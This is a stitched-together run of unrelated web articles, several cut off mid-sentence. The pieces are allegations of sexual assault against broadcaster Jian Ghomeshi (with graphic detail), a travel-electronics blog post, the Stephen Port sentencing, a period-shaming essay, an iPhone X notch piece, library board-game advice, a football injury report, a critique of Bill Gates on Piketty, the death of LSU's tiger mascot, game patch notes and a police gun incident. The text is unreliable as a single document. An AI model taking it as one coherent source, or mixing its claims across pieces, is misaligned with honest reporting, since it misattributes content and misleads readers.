Newsworld. He struck up a conversation with a woman who was roughly his age and invited her to a taping of the show. The first time she came to the taping at CBC headquarters, they ended the evening at a local pub and then he drove her to her car. She alleges that as soon as they were in the car Ghomeshi reached over to the passenger seat, grabbed her hair and “yanked it hard.” “I was completely shocked,” she said. “He asked if I like it rough. Quite honestly I don’t remember what I said. I was so shocked.” Though she regrets it now, she returned to a taping of the show two weeks later. He asked her to his home in Riverdale. Once there, she alleges that without consent he grabbed her hair and pulled her down to the floor. Then, she alleges, he delivered three sharp punches to the side of her head while she lay on the floor. “I was crying. Just crying. He stood there looking at me and said, ‘You should leave.’ ” The woman said she called a taxi and left the home. The CBC program As it Happens also interviewed this woman and broadcast an account of her allegations Wednesday. In 2005, Ghomeshi, then 38, was at a Toronto music and dance event in a park in Toronto. He ran into a woman he knew from the arts and culture scene. The woman, 34, had gone on a few dates with Ghomeshi but they had never been intimate. They went for a walk when the event was over and, according to the woman, Ghomeshi attacked her while they were sitting on a bench. He began kissing her forcefully and then “put his hands around my neck and choked me.” “He smothered me,” she said. She alleges Ghomeshi then grabbed her arms hard and “bit” her, then pushed her down on the park bench and “groped” her. “I pushed him away. It really scared me. He was so aggressive,” the woman said. The next day, she said Ghomeshi contacted her and “acted like nothing had happened.” “There was absolutely nothing consensual about what happened to me,” the woman said.
A CBC employee in her late 20s alleges that in 2007 Ghomeshi was sitting with her and other producers at a story meeting for his radio show Q. After their colleagues stood up and left, she alleges Ghomeshi leaned in close to her and quietly said “I want to hate f--- you”. Later, as the two were walking in to the Q studio, she alleges he laughed to her and quietly said, “Wasn’t that funny when I told you I wanted to grudge f--- you?” Three years later, she alleges that on his way out of the Q studio, Ghomeshi approached her from behind and cupped her buttocks. The woman later complained about Ghomeshi to her union representative at the CBC, who told her he reported her complaints to a CBC manager and to the executive producer of Q. She did not file a formal grievance. She says she was called to a meeting with Q ’s executive producer to discuss her complaints, whom she says asked her “what (she) could do to make this a less toxic work environment?” To her knowledge, Ghomeshi was never reprimanded for the incidents. The CBC announced Tuesday that in the wake of a Toronto Star story describing this woman’s allegations it has launched an investigation. In 2012, a CBC producer in her mid-20s attended a book signing by Ghomeshi in Montreal. She waited in line to have her book signed, and once standing in front of Ghomeshi, she recalls telling him that her dream was to work on his radio show, Q. He asked her if she would like to join him and his friends for drinks after the event, she says. She agreed, and later remembers meeting him at the lobby of the Opus Hotel, where he was staying. He arrived alone and embraced her, she says. “This isn’t a professional meeting,” she recalls Ghomeshi saying to her on the way to McKibbins Irish Pub. Seated in a booth, she says he rubbed her legs with both hands, explaining, “I have anxiety. Touching helps.” “The two worlds can co-exist,” she alleges he told her. “I’ve done it before.” She remembers telling Ghomeshi, “I want to work for you, not date you.” She said Ghomeshi kept complaining that his eyes were dry and he had to get his contact lenses out. They left the pub and went to Tim Hortons, where Ghomeshi bought a panini and later invited her to his hotel room, saying he had to take his contact lenses out. “I feel like a big moron now,” said the woman, who is no longer with the CBC. “I should have seen it coming.” In the hotel room, she recalls going to the bathroom and, as she was leaving it, discovering the lights were dimmed. She alleges Ghomeshi roughly threw her against the wall and kissed and fondled her forcefully. She states that she then performed fellatio on Ghomeshi “just to get out of there.” “I was saying to him, “I don’t want to do this, I want to work for you.” As she was leaving the room crying, she says, she heard Ghomeshi say, “I’ll talk with my executive producer about you.” The next morning she received a text from Ghomeshi. “Happy Thursday,” it read. She was shocked. She says she did receive an invitation to a job interview from Ghomeshi’s executive producer shortly thereafter. In Toronto, she recalls, she was surprised to find Ghomeshi present at the interview. Immediately after she left the CBC building, she says Ghomeshi texted her to say that she looked sexier than ever in the interview, and he invited her out that night for drinks. She declined. “I feel gross about the whole thing. I feel used,” the woman said.
In 2012, a fan of Ghomeshi’s in her mid-20s came to his book event in a small city in Eastern Canada. She stood in line to get her copy of his memoir signed, and she recalls him being overwhelmingly friendly, asking her name and many questions about herself. The next day, she received a private Facebook message from him containing his phone number and an invitation to call him. The two corresponded online, and Ghomeshi allegedly introduced violent sexualized language into their conversation, assuring her it was all fantasy and encouraging her to participate through email, which she did. She says he invited her to visit him in Toronto. She came, she says, but wouldn’t stay at his house. They went out for dinner, then back to a dorm at the University of Toronto where she was staying in the room of a friend who was out of town. She alleges that in the stairwell, Ghomeshi slammed her against a cement wall and she dropped her belongings. When she knelt to pick them up, he choked her from behind and struck her across the head. He demanded that she stand, and he marched her up the stairs into her friend’s empty dorm room. She says he demanded that she kneel, then hit her repeatedly about the head while she stared up in shock. She asked him about bruising, and he laughed and replied that he knew how to hit her so there wouldn’t be any. He hit her again, and she stared in disbelief and shock. She remembers feeling that he then lost interest and left, hugging her on his way out of the building. She later sent him an accusatory email, and he responded by email. The Star has copies of the correspondence. “it IS about sex,” wrote Ghomeshi in an email to the woman, asserting that she had consented, “it WAS... that you’ve decided to turn this ugly is disappointing. i wish for good karma into 2013.”
Also in 2012, another fan of Ghomeshi’s, also in her mid-20s, went to his book event in a small city in Eastern Canada. She stood in line to get her copy of his memoir signed, and when she stood before him, she recalls him asking her name and many questions about herself. She recalls that he wrote down details on a Post-it note, and later that evening he found her on Facebook and sent her his phone number and an invitation to get in touch. She did, and says she and Ghomeshi had dinner that evening, kissed and parted. They corresponded, and Ghomeshi allegedly introduced violent sexualized language into their conversation, assuring her when she failed to respond that it was all fantasy and encouraging her to participate, which she did. She recalls him assuring her these things would not happen in real life. Ghomeshi invited her to visit him in Toronto at his house in Cabbagetown, she says, and she did. When she arrived at his house and greeted him, she says Ghomeshi answered the door and stared at her. Without speaking, she alleges that he threw her against the wall and demanded that she get on her knees and perform fellatio. She alleges that when she kneeled down he struck her repeatedly about the head, “hard enough that (her) vision was blurred.” She says he took his belt off, tied it tight around her neck, “yanked” it, and led her around by the belt. They had intercourse, she said, and during it she alleges he whipped her back with his belt and hit her about the head. She alleges he put his full body weight on her face during fellatio, to the point where she gagged, couldn’t breathe, and felt she would vomit. A subsequent encounter, she alleges, left her with deep bruising on her body. She alleges that when she later confronted Ghomeshi and showed him pictures of her bruising, he told her that he found her bruises to be “hot.” The woman told the Star that during this visit to his house she noticed he had a teddy bear in his room. She said he turned the teddy bear around so that the bear was facing away from them.
A woman alleged Ghomeshi began by charming her.
Last year, in 2013, a woman in her mid-20s says she had been on a few dates with Jian, but they never had sex. After they had been out of touch for weeks, she recalls Ghomeshi inviting her to his new house in Toronto’s Beach area because he “needed” to see her to discuss something important. When she arrived, she says Ghomeshi sat her down for an intimate conversation. She says he told her that she might be “the one” for him, that he “didn’t buy this big house to throw parties, but to raise a family.” He then kissed her, she says, and while kissing he “pulled (her) hair so hard my neck flew backward, and when it did,” she alleges, “he smacked me.” She objected and asked why he did this. He laughed, she says, and explained to her that in order for him to build a future with her, he would need to see if they were sexually compatible, and she would have to “let (him) enjoy this the way (he) wants to.” She says that he then turned his teddy bear around on his bed, telling her the bear “shouldn’t see this.” Ghomeshi began kissing her again, she says, and struck her in the face once more, harder than before. He pointed out his erection, she says, as proof that she was “the one” for him. He then allegedly demanded she kneel in a constrained position, allegedly grabbed her by the neck and hit her in the face hard, and allegedly engaged her in fellatio, forcefully. She says Ghomeshi bit her, leaving marks on her breasts, inner thighs and back. Later, Ghomeshi called her a degrading term. She objected, she says, and told him, “don’t talk to me like that.” She says Ghomeshi shrank away from her at that moment, sulking. “You’re making me feel like a weirdo,” she recalls him saying. He then said, “You need to go,” and left the room. She dressed and walked downstairs, where she found Ghomeshi on his couch, absorbed in his computer screen, checking Twitter. She left the house, she says. He did not say goodbye. Months later, she confronted him in an email, suggesting that details of his behaviour might go public. “i’m shaking as I read this,” he responded, “can we please talk?”
Kevin Donovan can be reached at kdonovan@thestar.ca or (416) 312-3503, @_kevindonovan. Jesse Brown can be reached at jesse@jessebrown.ca or @jessebrown.
Read more about:Note: While the concepts in this post are still valid, technology has marched onward as always. For the latest travel tech advice and recommendations, head over to my other site at Too Many Adapters!
Ever wondered what you should take on the road with you in the way of electronics? After several years of travelling I’ve figured out what works for me – and what doesn’t – when it comes to technology.
Here are the gadgets that grace the inside of my backpack and a few tricks for getting the most out of them.
Netbook
An essential tool of the trade for a blogger, and with the slow disappearance of internet cafes in favour of WiFi hotspots around the world, something that many other travellers consider taking with them as well. It’s far and away the easiest way of staying in touch, backing up photos etc.
After shopping around I bought an Asus EEE 1002HA about 18 months ago and it was a great choice. It’s an old model now though, so if I was buying something to replace it with I’d be looking for something with these features:
Small – both dimensions and weight. This really matters – my one has a 10″ screen and weighs just over 1kg. I wouldn’t want anything much bigger than that.
Robust – it’s a netbook so it’s never going to be super strong, but you want something that won’t fall to pieces the first time it gets knocked in your bag. Make sure it comes with a protective sleeve to prevent scratches and minor bumps, or buy a third-party one.
Keyboard – if you’re going to be spending any length of time typing on your netbook a decent keyboard is vital. Try before you buy.
Operating system – Windows 7 is the default and best choice, but ideally not the crippled Starter edition. You can upgrade it after purchase, or look for a model that comes with the Home Premium version instead.
Battery life – the longer the better, obviously – a short battery life is a lot more annoying than you’d expect..
Memory – I upgraded from 1Gb to 2Gb, and it was the best thing I could have done – performance improved dramatically.
Network – I use a small Bluetooth mouse with my netbook rather than the cramped touchpad, and internal Bluetooth saves using up one of the limited number of USB slots with an adapter. WiFi is a given, and I’ve been surprised how often I’ve needed to use the Ethernet port as well.
Something like the Asus EEE 1015PN or 1015PEM with some extra memory would be where I’d start looking now.
Camera
Despite my best intentions over the years I’ve never been anything more than an amateur photographer. That was actually a good thing when it came time to buy a new camera, as it meant I could eliminate the bulky and expensive DSLRs from my search.
My criteria consisted of:
Size – the smaller and lighter the better. If it couldn’t fit easily in a shorts or jeans pocket, I wasn’t interested.
Zoom – a good optical zoon was important to me – 5x was a minimum, more was better.
Video – it had to have the capacity to take reasonable video for a minute or two, suitable for YouTube or similar.
Picture quality – while it was never going to rival a DSLR, my little camera had to be able to take high resolution photos that weren’t grainy in low light or have washed-out colours. Both of those had been an issue with previous cameras.
After a lot of research I settled on the Panasonic Lumix ZR-1, which turned out to be an absolutely fantastic camera. Most of the photos you see on this site were taken with it.
It has since been superseded by the current model, the Lumix ZR-3. There are some serious discounts on that version currently, which make it an even better buy than usual. Make sure you pick up a case for it to give a bit of protection, and a flexible tripod for night shots or self-portraits if you are like me and travel solo much of the time.
Mobile phone
An absolute cinch for me, my iPhone has rapidly become an indispensible piece of travel technology. From offline maps to flight details, music collection to time waster and so much more, I love my phone so much that I even dedicated an entire post to her. I mean, it.
As a general rule, I use Skype and WiFi to stay in touch wherever I can. It’s quick and easy, and buying a few bucks of SkypeCredit means I can make calls to any phone in the world and talk for hours.
Before I left Australia last year I rang my provider to get the phone unlocked. This meant that I was able to use any pre-paid SIM card anywhere in the world, and take advantage of much cheaper calling and data rates. International roaming is an incredibly expensive option, best suited to those with corporate expense accounts.
I did keep my old number active, though – this meant that I had one number to which friends could send an SMS no matter where I was, and in an emergency I’d always have some way of making a call. That came in very handy when I lost my passport in Vietnam, let’s put it that way.
When I was using a local SIM card, I put my old card into an ancient old Nokia that I had lying around – this meant I was less likely to lose it and gave an easy way of checking for texts once a day without having to swap cards all the time..
E-book reader
I resisted buying an ebook reader for a long time – I’m very much a ‘physical book’ kind of guy. Now that I’ve finally made the leap to a Kindle, however, I’m really pleased that I’ve got one.
It’s incredibly small and light – more so than even a tiny paperback – and can store hundreds or thousands of my favourite articles, ebooks, travel guides and whatever else I might need. I picked up the Kindle 3G – it was $50 more than the WiFi-only version, but the ability to download new reading material from anywhere with cell phone coverage is invaluable.
An unexpected but wonderful benefit of the Kindle 3G lies hidden away in the ‘Experimental’ section of the menu. A slow, limited, kinda clunky web browser. Why is that so great? Because with the 3G connection, I have free access to email, Facebook etc in over 100 countries. I’d never want this to be my only way of getting online – it’s too painful for that – but in a pinch it’s fantastic.
I considered an Ipad instead, but for travelling there was really no contest. The Kindle is much cheaper, smaller and lighter, and the battery life is measured in weeks rather than hours. I bought a generic leather case for it off Ebay, so it looks like a plain old notebook or personal organiser if I need to pull it out on the street to check directions. There’s no way I’d even think of doing that with an Ipad – I’d just be far too much of a target for theft.
Backup
I work in IT when I’m not travelling, so backup has long been a concern of mine. I just know too many people, travellers or otherwise, who have lost irreplaceable data due to hard drive failures, theft or dozens of other reasons. For that reason I’m a bit paranoid about having multiple copies of everything that matters – photos, documents, address books etc.
I copy my photos from my camera to my netbook each night, and immediately make a second copy to a USB stick that I keep in my daypack. Whenever I have a decent internet connection I’ll then sync everything to Dropbox (which provides 2Gb of space for free).
For the small amount of hassle involved, the peace of mind is more than worth it. Don’t risk losing all of your digital memories.
Miscellaneous
Other than the various chargers and cables that always seem to tie themselves in knots overnight, the only other gadgets that I bother putting in my pack are a universal power adapter and a little 2-way power box. The universal adapter fits together like a jigsaw puzzle which saves room and makes it harder to lose, while the power box has come in handy more times than I can count when I need to charge more than one thing at once.
You couldn’t spend more than about $30 on the combination if you tried and they take up no room whatsoever, yet they’re worth their weight in gold.
So that’s my complete list of travel technology that I take on the road with me. What’s yours?
Note: This article contains some affiliate links, which means that I get a small commission if you click through and purchase any of the items I’ve recommended. If you’d like to help support this site by doing so, I’d really appreciate it!
[Images courtesy of BigTallGuy (camera), jepoirrier (phone), daemonv (Kindle), Ambuj Saxena (USB key) and daemonv (power cable)]Serial killer Stephen Port will spend the rest of his life in prison for the murders of four young gay men.
Relatives of the victims cheered and clapped as Mr Justice Openshaw told Port he would never be released.
One woman in the public gallery of the Old Bailey courtroom called the impassive Port a "scumbag".
The 41-year-old chef stalked his victims on dating websites and plied them with drinks spiked with fatal amounts of the drug GHB to rape them while they were unconscious.
He dumped their bodies in or near a graveyard within 500 metres of his flat in Barking, east London, and embarked on an elaborate cover-up.
He disposed of their mobile phones, repeatedly lied to police and planted a fake suicide note in the hand of one of his victims, taking the blame for the death of another.First and foremost, I would like to take this opportunity to apologize to my uterus. Enough people who period-shame exist in this world already; you didn't deserve all the extra flack I gave you on top of it, dear uterine organ. I mean, yeah. You do occasionally get a little painfully enthusiastic about that whole shedding of your lining business. But hey, I basically blackout emotionally at Taylor Swift concerts — we've all got our weaknesses. What I'm trying to say is, although I complain to you and about you on the reg, I recognize that you are a pretty badass organ — not only for being one of the strongest muscles in the human body, but for, y'know, housing and creating all human life and bearing the responsibility for perpetuating our species. NBD.
As much as we are indebted to these uteruses, though, they are somehow subject to huge amounts of scrutiny when it comes to periods. Periods are just one more thing that are weirdly censored in our culture, like the nipples of one particular gender, or the ability to breastfeed babies in public without the half the damn world losing its mind. I've run out of ways to express my frustration with this — the sexualization of women's breasts is so out of control that apparently we can't even use them for the purpose they were designed for. And silencing and shaming women about their periods is really no different, considering it is yet another part of the ~circle of life~ that brought even the period-shamers here in the first place. Like, are you really going to sit around and call us gross for talking about or visibly having our periods when that same gook was the kind that cushioned you in the damn womb for nine months? Are we really going to be this whiny and immature about something that half of the population endures on a regular basis?
I mean, yes. We are. We have. We continue to, because society as a whole cannot wrap its brain around the fact that shaming periods is basically the equivalent of shaming women for existing in the first place. We've got miles and miles to go on this front, but there are some kickass women who are taking a stand in the best way. Here are some ladies who have used their periods to make powerful statements about the absurdity of period-shaming:
Rupi And Prabh Kaur's Photo Series On Periods
Back in March, the artists caused a stir when their photo series, meant to demystify periods, was taken down from Instagram for violating guidelines two separate times — despite the fact that there were no written guidelines that they violated. In an open letter to Instagram, Rupi wrote,
Thank you Instagram for providing me with the exact response my work was created to critique. You deleted my photo twice stating that it goes against community guidelines. I will not apologize for not feeding the ego and pride of misogynist society that will have my body in an underwear but not be okay with a small leak. When your pages are filled with countless photos/accounts where women (so many who are underage) are objectified, pornified. and treated less than human. thank you.
The story quickly went viral and, in a surprisingly pleasant twist, managed to give the photos even more of a platform for an open dialogue about normalizing menstruation.
Kiran Gandhi Free Bleeding During A Marathon
When the runner woke up the day of the race she had spent months training for with her period, she opted not to drop out of the race, but instead to bleed freely during the marathon. She ran all 26.2 miles with period blood visible between her legs, and the pictures sparked a huge debate in whether or not it's "acceptable" for women to be visibly bleeding in public, yet again providing an amazing platform for people to discuss the blatant shaming of periods.
When Amber Gordon Got The #PeriodsAreNotAnInsult Hashtag Trending
After the GOP debate, Donald Trump infamously said about moderator Megyn Kelly of Fox News, "You could see there was blood coming out of her eyes. Blood coming out of her wherever." Justice was swift and hashtagged, because soon #PeriodsAreNotAnInsult was blasting through Twitter after a call to arms from Amber Gordon of Femsplain. Women live-tweeting their periods to Trump has been a delightful side effect to this trend, but overall it spoke multitudes to the absurdity that a woman's behavior could be reduced to her menstrual cycle.
When Cariad Lloyd & Jenny Bede Parodied "Bad Blood"
Cariad Lloyd on YouTube
The comedians used the hit song as a vehicle to protest the tampon tax in the UK, where the European Union is still classifying women's menstrual products as "nonessential items". Their pun game was too fierce for this world, but their message was even fiercer: tampons are not a luxury item, the same way having a period isn't optional for women (without paying for very specific procedures or birth control, that is).
"This is a long-standing campaign. I have had a look at it in the past. It's quite difficult," Prime Minister David Cameron said to a student in February. "Some VAT [value-added tax] things you can change. Other VAT things, if they're linked to other products, it's quite difficult to do it within the framework of European laws and I can't remember the answer."
Hopefully the strong actions of women like Cariad, Jenny, Amber, Prabh, Ruba, and Kiran will help everyone ~remember~ soon. It's time to demystify the menstruation once and for all, and these women are all helping make it happen — one period at a time.
Image: YouTubeThe iPhone X Notch is All About Branding
Maciej Lipiec Blocked Unblock Follow Following Sep 15, 2017
After the iPhone X launch event there is a lot of discussion about its distinctive “notch” at the top of the screen, which is housing the cameras and sensors that enable Face ID. Many people, especially designers, are voicing their opinions that it is ugly and it’s something that is not up to Apple’s design standards. The icons and time display crammed into corners just look bad.
The notch is also problematic from the UX perspective: it is jarring when viewing full-screen videos or playing games on iPhone X, and when viewing websites in a landscape mode there are white bars at the edges of the screen to accommodate for the notch.
However Apple is fully embracing the notch. In their new HIG for iPhone X they tell developers specifically not to hide it with a black bar underneath:
Don’t mask or call special attention to key display features. Don’t attempt to hide the device’s rounded corners, sensor housing, or indicator for accessing the Home screen by placing black bars at the top and bottom of the screen. Don’t use visual adornments like brackets, bez |
. Donald Duck was once banned in Finland because he doesn’t wear pants.
False – In 1977, a Liberal Party representative in Helsinki proposed that youth centers stop buying Donald Duck comics due to a financial downturn in the economy. When the politician was running for parliament the following year, the press found out that he was the man who banned Donald Duck. The media jumped on the story and exagerrated the truth, claiming that Donald had been banned due to his lack of pants.
© MagicalKingdoms.comIt’s great to see how many people are genuinely excited about seeing board games in a public library setting. I was a bit shocked when a previous post of mine, 6 Lessons From the Library: Circulating Board Games One Year Later, received thousands of views a ton of positive responses. Many people asked how they could get their library to start circulating board games. As a librarian who started a circulating board game collection (now around 130 items), I’ve compiled some tips on how to advocate for a board game collection in your public library.
1. Does Your Library Already Have a Board Game Collection?
Okay, this seems obvious, but it might be worth confirming that your library does not already have a board game collection (wouldn’t that be embarrassing!). Many libraries are starting “Library of Things” collections where they circulate useful, but somewhat unusual items such as waffle makers, cameras, or board games. Library of Things collections are super exciting and are, in my opinion, one of the key ways public libraries can continue to stay relevant in the era of streaming content. If you haven’t heard of them before, I presented recently on the Elmhurst Public Library’s collection, and you can take a look at my presentation here.
2.Talk to the Right Person
Now that you’ve confirmed that your library does not have a board game collection, it’s best to find the right person to talk to. This may be a surprisingly difficult task, as large public library systems have upwards of 1000 employees. Many taxpayers like to go right to the top when making suggestions. The library director has the most power, right? This will work with varied success depending on the size of the organization. At my previous mid-sized library, our director told me that she loves to hear patron suggestions about new ideas, and can often fast track the development of them. At larger systems, you might get more time with another staff member. If you’re not talking to someone in management, you should likely look for a selector likely in the Adult Services department, or a broader collection manager.
3. Communicate the Interest in Your Community
The fundamental goal of every public library collection is to circulate materials of use to the residents of that community. All libraries should have formal collection policies written and available, either in the building or online. Your goal is to show the library selector how popular a board game collection could be.
How can you show this potential use?
Beg and plead! (Don’t actually do that.) First, if you are part of a local gaming group, share pictures and the number of attendees in your group*. The more people interested in tabletop gaming in your area, the more attention the collection will likely receive. Give the library selector any local contacts to your FLGS, including the time of local gaming events. You can also ask other interested residents to fill out suggestion forms specifically asking for the collection. When a staff member starts to see a consistent amount of feedback on paper, it makes an impact.
*Through all of this, the importance is to communicate the interest of taxpayers. If your game group takes place in a different city and/or with members that aren’t residents in your local library’s city or district, then this these people are less pertinent to your argument.
4. Show Your Library the Wider Trend
While hobby board gamers might know about the “Golden age of gaming“, don’t be surprised if you get a raised eyebrow at first. In my experience, it’s easy for those unfamiliar with geek culture to associate hobby gaming with Monopoly. Linking news articles about the growing trend can validate your interest.
Aside from tabletop gaming’s popularity with the wider populace, you can also show your library that many other organizations have also started circulating board game collections. This might alleviate the collector’s worries about missing pieces and other collection logistics. Libraries are also fantastic about sharing resources with one another, and this communication can save your collector a lot of redundant research and work if they reach out.
For a list of handy links to share with your library contact, take a look at my list of resources here.
5. Suggest Specific Titles
While you might mention your ultimate goal is for the library to offer an entire circulating collection, suggesting a few specific titles is beneficial for several reasons. Suggesting a few specific titles gives your contact a lot of information. It gives an example of the price, availability, popularity, and accessibility in a single title. Even if your library contact is unaware of contemporary board games, all of a sudden they have detailed information about the type of items that might be contained selected for the collection. Another tip is to suggest popular gateway games first, even if you are a heavier gamer. Gateway titles such as Pandemic, Carcassonne, and Sushi Go Party! are widely popular, cheap, and likely to circulate well with a wide audience!
6. Accept “No”
This is a big one. It’s okay for your library to say no.
Start the conversation with the assumption that the staff member you’re talking to is open and willing to hear new ideas. Stress that either way, you will continue to support your library’s mission. Friendly, low-pressure communication emphasizes that you are someone who respects boundaries and is willing to collaborate. Public libraries are always looking for pleasant professional community members to partner with.
In almost every case, I think you can expect a selector to do their due diligence and investigate the idea. That being said, there are many reasons why a library may not be able to circulate a board game collection. Here are a few reasons why:
Time – Preparing board games for circulation is time-consuming. This includes punching out and documenting pieces, reinforcing and labeling boxes, and potentially creating new library procedures. In addition, while my previous library did not experience significant problems with missing pieces, looking for and/or making replacement parts takes a lot of time. Cost – Most libraries do not have extra funds to start new collection. If your library is going to start checking out something new, they’re most likely cutting from somewhere else. In my library’s case, this was a result of a reduction our fragile and underused paperback collection. Public libraries are frequently shifting funds around to best accommodate their patron needs, but board games may not be the top priority. Expertise – For selectors tackling this project, they may not have existing knowledge of tabletop games. It might be difficult for the library to find the right person to manage the collection, or require an employee who isn’t a board game enthusiast to complete a lot of extra research.
7. Putting it All Together
Here’s an example of what an initial email might look like. (This is not to say that email is the best approach, but there are some benefits to sending email or calling rather than showing up in person unannounced.) That being said, I recommend putting your own spin on the following example:
“Hello NAME OF PERSON YOU ARE EMAILING,
I am a INSERT NAME OF LIBRARY HERE cardholder. I’ve been reading that several libraries have started circulating board games, and I was hoping the library could start our own collection! You may already be aware, but tabletop gaming has become extremely popular, and Minneapolis has several board game cafes and businesses in the area.
Two titles I would be specifically interested in checking out are: INSERT TWO GATEWAY GAMES YOU WOULD ACTUALLY CHECK OUT.
Is this the best way to get in touch, or should I contact someone else, or use a different suggestion form?
Thanks so much for your time, and I am happy to talk more if you have any questions!
-YOUR NAME”
Here’s hoping your efforts are well rewarded! While it’s possible you might not get the immediate answer you want, this conversation might open the door down the road.
Does your library already circulate board games? Are you planning on asking for a new collection? Let me know in the comments! Also, if you liked this article, subscribe to stay updated on my current design projects and other news.Josh Green is set to miss the next two matches with a hamstring strain.
The Essendon forward suffered some discomfort during the win over St Kilda.
Subsequent scans have confirmed a strain and the 24 year old has been ruled out of Saturday’s match against North Melbourne.
“He came off with hamstring tightness and pulled up quite well the next day but we had it scanned just in case,” High Performance Manager Justin Crow said.
“He’s got a strain in the epimysium which is the layer around the hamstring muscle.
“These are low grade injuries but we’ve got to respect it as well.
“Normally with this you miss two weeks, but it can be as quick as one and as long as three.
“Our best guess is that Josh will miss a couple of weeks of footy.”
Jobe Watson is set to resume after he was rested last weekend.
Patrick Ambrose is also in line for a return.
The defender hasn’t played since ANZAC Day because of back-to-back quad injuries.
“We had a scan to check the stage of healing in the quad,” Crow said.
“The Doctor consulted with a radiologist and they’re both comfortable that it’s at a state of healing where he can play, which is great news for Paddy.
“He’s done a power of work, we’re comfortable for him to play a full match and be available for selection, obviously pending main training tomorrow.”While Gates wants us to believe that his software innovations were a great service to the world, most users of his software would probably not agree. His efforts to corner the market may have made him rich, but they slowed down the process of software development.
When the Justice Department finally brought suit in 1998, Bill Gates and the Microsoft team were so arrogant and dishonest that they managed to turn the presiding judge, an appointee of President Ronald Reagan, into an enemy. An appellate court later removed him from the case for bias.
However, this doesn’t mean that we shouldn’t fear rising inequality. Gates gives us a textbook example of the problems. While he is undoubtedly smart and hardworking, the key to his incredible wealth was the decision by the Justice Department largely to ignore antitrust law. Gates used classic anti-competitive practices to gain and protect a near monopoly in the market for personal computer operating systems.
As he points out, many of his fellow billionaires feel the same way about passing on their wealth. This means that we may not need to fear the perpetuation of great fortunes through generations as Piketty warns.
Gates tells readers of his plans to give away the bulk of his fortune. His children will have to get by with the advantages that accrue to the children of the ultrarich, along with whatever fraction of his estate he opts to give them. That will undoubtedly ensure that Gates’ kids enjoy a far more comfortable life than the bottom 99 percent can expect, but it likely will not guarantee a place among the Forbes 400.
From his evidence, he actually has a good case. If the issue is the superrich passing their wealth to their children, who will become the next generation’s superrich, he is right to point out that the biographies of the Forbes 400 — the richest 400 Americans — don’t seem to support this concern. We find many people like Gates, who started life as the merely wealthy (his father was a prosperous corporate lawyer), who parlayed their advantages in life into enormous fortunes. The ones who inherited their vast wealth are the exception, not the rule.
A review of French economist Thomas Piketty’s best-selling book “Capital in the 21st Century” by the world’s richest man is too delicious to ignore. The main takeaway from Piketty’s book, of course, is that we need to worry about the growing concentration of capital, in which people like Microsoft co-founder turned megaphilanthropist Bill Gates and his children will control the bulk of society’s wealth. Gates, however, doesn’t quite see it this way.
Bill Gates further defends wealth inequality by pointing out his philanthropy. Interestingly, the philanthropy that he says makes the situation better could actually make it worse.
Unfortunately, he is not the only one who got rich largely at the expense of the economy and society. The Forbes 400 is full of Wall Street investment bankers who make their money by trading a few minutes or milliseconds ahead of everyone else. This means that they pocket profits that otherwise might have gone to long-term investors. And of course, the Wall Street gang also includes those who made money on the mortgage-backed securities that nearly destroyed the world economy in 2008.
The fortune of the Walton family — Walmart’s largest shareholders and heirs to the wealth the company created — came in large part from being able to hire supercheap labor both in the United States and the rest of the world. Suppose that we had full employment policies that gave people a choice of jobs or that workers’ right to unionize was taken more seriously by legislators and courts. It’s unlikely that many workers would have then opted for low pay and few benefits as a Walmart “associate.”
And then there is Jeff Bezos, who made Amazon into one of the largest companies in the world in large part by avoiding state sales taxes.
To be sure, there are people in the Forbes 400 who had great innovations that provided a genuine service to humanity, but they are the exception. As the old saying goes, behind every great fortune lies a great crime.
Gates further defends wealth inequality by pointing out his philanthropy. Interestingly, the philanthropy that he says makes the situation better could actually make it worse.
Take patent monopolies, one of the largest distortions in the market today. Each year they redistribute hundreds of billions of dollars upward while making lifesaving drugs very expensive. (Think of the hepatitis C drug Sovaldi, which is being sold for $84,000 for a 12-week course of treatment. The generic version sells for $900.)
A program officer at the Bill & Melinda Gates Foundation once told me in unambiguous terms that people there don’t talk about patents. When I expressed surprise, she explained the reason was the nature of its founder’s fortune.
Bill Gates may do much to make drugs available to the developing world. But if his foundation obstructs the development of more efficient mechanisms than patents for financing drug research, he may well end up making the situation worse rather than better. After all, it’s nice that he is making it easier for poor people to get expensive drugs, but the real problem is that the drugs are expensive in the first place. That would not be the case without patent protection.
While philanthropy may prevent the direct inheritance of most multibillion-dollar fortunes, the charitable giving of billionaires is unlikely to go to efforts that could undermine the basis of their wealth or their peers’. We may not need to fear that the next generations’ Forbes 400 will all be descendants of this generation’s billionaires, but we do have to fear that the rules will continue to be rigged so that this group and its lackeys in the 1 percent continue to control the bulk of the country’s wealth. That is not a pretty picture, even if it is not the nightmare Piketty warns of.× Beloved LSU mascot Mike the Tiger dies
BATON ROUGE (WGNO) – LSU’s live tiger mascot, Mike VI, passed away Tuesday.
Mike VI was born on July 23, 2005, and adopted by LSU in 2007. He was 11 years old at the time of his passing.
Mike was humanely euthanized in his night house by LSU’s Attending Veterinarian Dr. David Baker.
He was diagnosed with spindle cell sarcoma in May 2016 and underwent stereotactic radiotherapy on June 1, 2016, at Mary Bird Perkins – Our Lady of the Lake Cancer.
He entered hospice care in his night house on Oct. 10, 2016, so that his caretakers could observe him to ensure that he did not suffer.
There will not be a formal memorial service for Mike VI, but fans are encouraged to share their memories, stories and photos on social media using #MikeVI.
LSU has begun the search for a young, male tiger. As with Mikes IV, V and VI, LSU will seek to obtain a donated tiger from a rescue facility.NEW
Update 2.0.2 continues the main story mission following the events of “Mortal Sins”. You will receive instructions on how to proceed if you have completed “Mortal Sins” and are on the mission “What Was Missed”. Investigate a rising threat, uncover secret Orochi facilities, and expose a crucial part of the story that sets up the events leading to Tokyo!
PATCH NOTES
General:
Fixed an issue that could occasionally cause the Use icon to become stuck on screen.
Green distillates will no longer drop in Elite dungeons. You will always at least be rewarded with a blue distillate item when gaining distillates.
Fixed an issue that could cause the health value for bosses to display incorrectly on the client.
Forming raid groups and Shambala are once again available. We apologize for the inconvenience their unavailability may have caused.
Last but not least, we’re happy to announce that PayPal is available as a payment option! The future is now.Spread the love
Basile, LA — Normally, when the Free Thought Project opens a story about a police officer, it begins with something like, “an officer has been suspended this week,” or, “an officer was charged this week,” because of random misconduct. Unfortunately, that is not the case in this most recent incident out of Mamou, Louisiana.
Last week, Officer Nicholas Richardson, a cop with both the Basile Police Department and Evangeline Parish Sheriff Department, was captured on video pulling his gun on an innocent, unarmed 14-year-old girl. He was not suspended and is still on patrol.
The incident happened in front of the residence of Darrell and Mia Reed. The Reed’s daughter was the one assaulted at gunpoint by this officer. The entire incident was captured on surveillance cameras at the Reed home.
“As you can see, he’s pointing and threatening my 14-year-old,” said Darrell Reed as he showed the video to KATC.
